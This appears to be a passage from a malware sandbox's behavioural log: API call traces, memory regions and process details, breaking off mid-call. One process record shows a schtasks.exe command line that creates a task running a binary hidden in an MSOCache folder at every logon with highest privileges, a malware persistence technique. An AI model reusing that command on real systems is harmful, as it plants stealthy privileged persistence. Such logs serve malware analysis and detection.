RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180349ed0) returned 1 [0122.933] GetProcessHeap () returned 0x1c180330000 [0122.933] GetProcessHeap () returned 0x1c180330000 [0122.933] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b530) returned 1 [0122.933] GetProcessHeap () returned 0x1c180330000 [0122.933] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b530) returned 0x20 [0122.933] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b530) returned 1 [0122.933] GetProcessHeap () returned 0x1c180330000 [0122.934] GetProcessHeap () returned 0x1c180330000 [0122.934] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033a9e0) returned 1 [0122.934] GetProcessHeap () returned 0x1c180330000 [0122.934] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033a9e0) returned 0xe [0122.934] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033a9e0) returned 1 [0122.934] GetProcessHeap () returned 0x1c180330000 [0122.934] GetProcessHeap () returned 0x1c180330000 [0122.934] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b470) returned 1 [0122.934] GetProcessHeap () returned 0x1c180330000 [0122.934] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b470) returned 0x20 [0122.935] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b470) returned 1 [0122.935] GetProcessHeap () returned 0x1c180330000 [0122.935] GetProcessHeap () returned 0x1c180330000 [0122.935] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033a8e0) returned 1 [0122.935] GetProcessHeap () returned 0x1c180330000 [0122.935] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033a8e0) returned 0xa [0122.935] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033a8e0) returned 1 [0122.935] GetProcessHeap () returned 0x1c180330000 [0122.937] GetProcessHeap () returned 0x1c180330000 [0122.937] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b6e0) returned 1 [0122.937] GetProcessHeap () returned 0x1c180330000 [0122.937] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b6e0) returned 0x20 [0122.938] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b6e0) returned 1 [0122.938] GetProcessHeap () returned 0x1c180330000 [0122.938] GetProcessHeap () returned 0x1c180330000 [0122.938] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033a960) returned 1 [0122.938] GetProcessHeap () returned 0x1c180330000 [0122.938] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033a960) returned 0xc [0122.938] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033a960) returned 1 [0122.938] GetProcessHeap () returned 0x1c180330000 [0122.938] GetProcessHeap () returned 0x1c180330000 [0122.938] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b320) returned 1 [0122.938] GetProcessHeap () returned 0x1c180330000 [0122.938] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b320) returned 0x20 [0122.939] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b320) returned 1 [0122.939] GetProcessHeap () returned 0x1c180330000 [0122.939] GetProcessHeap () returned 0x1c180330000 [0122.939] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180334470) returned 1 [0122.939] GetProcessHeap () returned 0x1c180330000 [0122.939] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180334470) returned 0x18 [0122.939] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180334470) returned 1 [0122.939] GetProcessHeap () returned 0x1c180330000 [0122.939] GetProcessHeap () returned 0x1c180330000 [0122.939] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180334060) returned 1 [0122.939] GetProcessHeap () returned 0x1c180330000 [0122.939] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180334060) returned 0x20 [0122.939] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180334060) returned 1 [0122.939] GetProcessHeap () returned 0x1c180330000 [0122.940] GetProcessHeap () returned 0x1c180330000 [0122.940] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180338c20) returned 1 [0122.940] GetProcessHeap () returned 0x1c180330000 [0122.940] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180338c20) returned 0x20 [0122.940] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180338c20) returned 1 [0122.940] GetProcessHeap () returned 0x1c180330000 [0122.940] GetProcessHeap () returned 0x1c180330000 [0122.940] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180338dd0) returned 1 [0122.940] GetProcessHeap () returned 0x1c180330000 [0122.940] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180338dd0) returned 0x20 [0122.941] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180338dd0) returned 1 [0122.941] GetProcessHeap () returned 0x1c180330000 [0122.941] GetProcessHeap () returned 0x1c180330000 [0122.941] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180338b60) returned 1 [0122.941] GetProcessHeap () returned 0x1c180330000 [0122.941] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180338b60) returned 0x20 [0122.941] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180338b60) returned 1 [0122.941] GetProcessHeap () returned 0x1c180330000 [0122.941] GetProcessHeap () returned 0x1c180330000 [0122.941] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180334090) returned 1 [0122.942] GetProcessHeap () returned 0x1c180330000 [0122.942] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180334090) returned 0x18 [0122.942] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180334090) returned 1 [0122.942] GetProcessHeap () returned 0x1c180330000 [0122.942] GetProcessHeap () returned 0x1c180330000 [0122.942] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180338cb0) returned 1 [0122.942] GetProcessHeap () returned 0x1c180330000 [0122.942] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180338cb0) returned 0x20 [0122.942] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180338cb0) returned 1 [0122.942] GetProcessHeap () returned 0x1c180330000 [0122.942] GetProcessHeap () returned 0x1c180330000 [0122.942] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180338b30) returned 1 [0122.942] GetProcessHeap () returned 0x1c180330000 [0122.943] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180338b30) returned 0x20 [0122.943] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180338b30) returned 1 [0122.943] GetProcessHeap () returned 0x1c180330000 [0122.943] GetProcessHeap () returned 0x1c180330000 [0122.943] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180338a70) returned 1 [0122.943] GetProcessHeap () returned 0x1c180330000 [0122.943] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180338a70) returned 0x20 [0122.944] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180338a70) returned 1 [0122.944] GetProcessHeap () returned 0x1c180330000 [0122.944] GetProcessHeap () returned 0x1c180330000 [0122.944] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180338d40) returned 1 [0122.944] GetProcessHeap () returned 0x1c180330000 [0122.944] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180338d40) returned 0x20 [0122.944] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180338d40) returned 1 [0122.944] GetProcessHeap () returned 0x1c180330000 [0122.944] GetProcessHeap () returned 0x1c180330000 [0122.944] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180338d70) returned 1 [0122.944] GetProcessHeap () returned 0x1c180330000 [0122.945] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180338d70) returned 0x20 [0122.945] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180338d70) returned 1 [0122.945] GetProcessHeap () returned 0x1c180330000 [0122.945] GetProcessHeap () returned 0x1c180330000 [0122.945] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c1803340b0) returned 1 [0122.945] GetProcessHeap () returned 0x1c180330000 [0122.945] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c1803340b0) returned 0x18 [0122.945] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c1803340b0) returned 1 [0122.945] GetProcessHeap () returned 0x1c180330000 [0122.945] GetProcessHeap () returned 0x1c180330000 [0122.945] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180338c50) returned 1 [0122.945] GetProcessHeap () returned 0x1c180330000 [0122.945] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180338c50) returned 0x20 [0122.946] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180338c50) returned 1 [0122.946] GetProcessHeap () returned 0x1c180330000 [0122.946] GetProcessHeap () returned 0x1c180330000 [0122.946] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180334ab0) returned 1 [0122.946] GetProcessHeap () returned 0x1c180330000 [0122.946] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180334ab0) returned 0x18 [0122.946] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180334ab0) returned 1 [0122.946] exit (_Code=0) Thread: id = 169 os_tid = 0x1350 Process: id = "26" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x45742000" os_pid = "0x134c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"accupos\" /sc ONLOGON /tr \"'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3294 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3295 start_va = 0xaed20a0000 end_va = 0xaed211ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000aed20a0000" filename = "" Region: id = 3296 start_va = 0xaed2200000 end_va = 0xaed23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000aed2200000" filename = "" Region: id = 3297 start_va = 0x23fabe60000 end_va = 0x23fabe7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000023fabe60000" filename = "" Region: id = 3298 start_va = 0x23fabe80000 end_va = 0x23fabe94fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000023fabe80000" filename = "" Region: id = 3299 start_va = 0x23fabea0000 end_va = 0x23fabea3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000023fabea0000" filename = "" Region: id = 3300 start_va = 0x23fabeb0000 end_va = 0x23fabeb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000023fabeb0000" filename = "" Region: id = 3301 start_va = 0x23fabec0000 end_va = 0x23fabec1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000023fabec0000" filename = "" Region: id = 3302 start_va = 0x7df5ff3a0000 end_va = 0x7ff5ff39ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff3a0000" filename = "" Region: id = 3303 start_va = 0x7ff684160000 end_va = 0x7ff684182fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684160000" filename = "" Region: id = 3304 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3305 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3306 start_va = 0x23fabed0000 end_va = 0x23fac0effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000023fabed0000" filename = "" Region: id = 3307 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3308 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3309 start_va = 0x23fabe60000 end_va = 0x23fabe6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000023fabe60000" filename = "" Region: id = 3310 start_va = 0x7ff684060000 end_va = 0x7ff68415ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684060000" filename = "" Region: id = 3311 start_va = 0x23fabed0000 end_va = 0x23fabf8dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3312 start_va = 0x23fabff0000 end_va = 0x23fac0effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000023fabff0000" filename = "" Region: id = 3313 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3314 start_va = 0xaed2120000 end_va = 0xaed219ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000aed2120000" filename = "" Region: id = 3315 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3316 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3321 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3322 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3323 start_va = 0x23fac0f0000 end_va = 0x23fac27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000023fac0f0000" filename = "" Region: id = 3324 start_va = 0x23fabe70000 end_va = 0x23fabe76fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000023fabe70000" filename = "" Region: id = 3325 start_va = 0x23fac0f0000 end_va = 0x23fac232fff monitored = 0 entry_point = 0x23fac118210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3326 start_va = 0x23fac270000 end_va = 0x23fac27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000023fac270000" filename = "" Region: id = 3327 start_va = 0x23fabf90000 end_va = 0x23fabf96fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000023fabf90000" filename = "" Region: id = 3328 start_va = 0x23fabfa0000 end_va = 0x23fabfb2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3329 start_va = 0x23fac280000 end_va = 0x23fac5b6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3330 start_va = 0x23fac0f0000 end_va = 0x23fac1ccfff monitored = 0 entry_point = 0x23fac14e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3331 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3332 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3333 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3334 start_va = 0x23fac0f0000 end_va = 0x23fac128fff monitored = 0 entry_point = 0x23fac0f12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3335 start_va = 0x23fac5c0000 end_va = 0x23fac747fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000023fac5c0000" filename = "" Region: id = 3336 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3337 start_va = 0x23fabfc0000 end_va = 0x23fabfc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000023fabfc0000" filename = "" Region: id = 3338 start_va = 0x23fabfd0000 end_va = 0x23fabfd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000023fabfd0000" filename = "" Region: id = 3339 start_va = 0x23fac750000 end_va = 0x23fac8d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000023fac750000" filename = "" Region: id = 3340 start_va = 0x23fac8e0000 end_va = 0x23fadcdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000023fac8e0000" filename = "" Region: id = 3341 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3342 start_va = 0x23fabfe0000 end_va = 0x23fabfe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000023fabfe0000" filename = "" Region: id = 3343 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3344 start_va = 0x23fac0f0000 end_va = 0x23fac0f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000023fac0f0000" filename = "" Region: id = 3345 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3346 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3347 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 170 os_tid = 0x1340 [0123.256] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0123.256] __set_app_type (_Type=0x1) [0123.256] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0123.256] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0123.256] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0123.257] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0123.257] CsrIdentifyAlertableThread () returned 0x0 [0123.257] GetProcessHeap () returned 0x23fabff0000 [0123.257] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x18) returned 0x23fabff4ef0 [0123.257] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.257] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0123.257] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0123.257] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0123.257] RtlVerifyVersionInfo (VersionInfo=0xaed211f570, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0123.257] GetProcessHeap () returned 0x23fabff0000 [0123.257] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x18) returned 0x23fabff4f10 [0123.257] lstrlenW (lpString="") returned 0 [0123.257] GetProcessHeap () returned 0x23fabff0000 [0123.257] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x2) returned 0x23fabff4f30 [0123.257] GetProcessHeap () returned 0x23fabff0000 [0123.257] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabff4440 [0123.257] GetProcessHeap () returned 0x23fabff0000 [0123.257] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x18) returned 0x23fabff4470 [0123.257] GetProcessHeap () returned 0x23fabff0000 [0123.257] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabff4490 [0123.257] GetProcessHeap () returned 0x23fabff0000 [0123.257] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabff44c0 [0123.258] GetProcessHeap () returned 0x23fabff0000 [0123.258] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabff9000 [0123.258] GetProcessHeap () returned 0x23fabff0000 [0123.258] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabff9240 [0123.258] GetProcessHeap () returned 0x23fabff0000 [0123.258] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x18) returned 0x23fabff4030 [0123.258] GetProcessHeap () returned 0x23fabff0000 [0123.258] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabff8fd0 [0123.258] GetProcessHeap () returned 0x23fabff0000 [0123.258] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabff91e0 [0123.258] GetProcessHeap () returned 0x23fabff0000 [0123.258] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabff8f10 [0123.258] GetProcessHeap () returned 0x23fabff0000 [0123.258] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabff9030 [0123.258] GetProcessHeap () returned 0x23fabff0000 [0123.258] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x18) returned 0x23fabff4050 [0123.258] GetProcessHeap () returned 0x23fabff0000 [0123.258] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabff9150 [0123.258] GetProcessHeap () returned 0x23fabff0000 [0123.258] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabff8ee0 [0123.259] GetProcessHeap () returned 0x23fabff0000 [0123.259] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabff9180 [0123.259] GetProcessHeap () returned 0x23fabff0000 [0123.259] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabff9120 [0123.259] SetThreadUILanguage (LangId=0x0) returned 0x409 [0123.260] RtlRestoreLastWin32Error () returned 0xaed2395000 [0123.260] GetProcessHeap () returned 0x23fabff0000 [0123.260] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabff8f70 [0123.260] GetProcessHeap () returned 0x23fabff0000 [0123.260] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabff9060 [0123.260] GetProcessHeap () returned 0x23fabff0000 [0123.260] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabff8fa0 [0123.260] GetProcessHeap () returned 0x23fabff0000 [0123.260] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabff9210 [0123.260] GetProcessHeap () returned 0x23fabff0000 [0123.260] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x20) returned 0x23fabff90c0 [0123.260] GetProcessHeap () returned 0x23fabff0000 [0123.261] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x18) returned 0x23fabff40c0 [0123.261] _memicmp (_Buf1=0x23fabff40c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0123.261] GetProcessHeap () returned 0x23fabff0000 [0123.261] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x208) returned 0x23fabff9b80 [0123.261] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x23fabff9b80, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0123.261] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xaed211f6c8 | out: lpdwHandle=0xaed211f6c8) returned 0x76c [0123.262] GetProcessHeap () returned 0x23fabff0000 [0123.262] RtlAllocateHeap (HeapHandle=0x23fabff0000, Flags=0xc, Size=0x776) returned 0x23fabffa8e0 [0123.263] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", 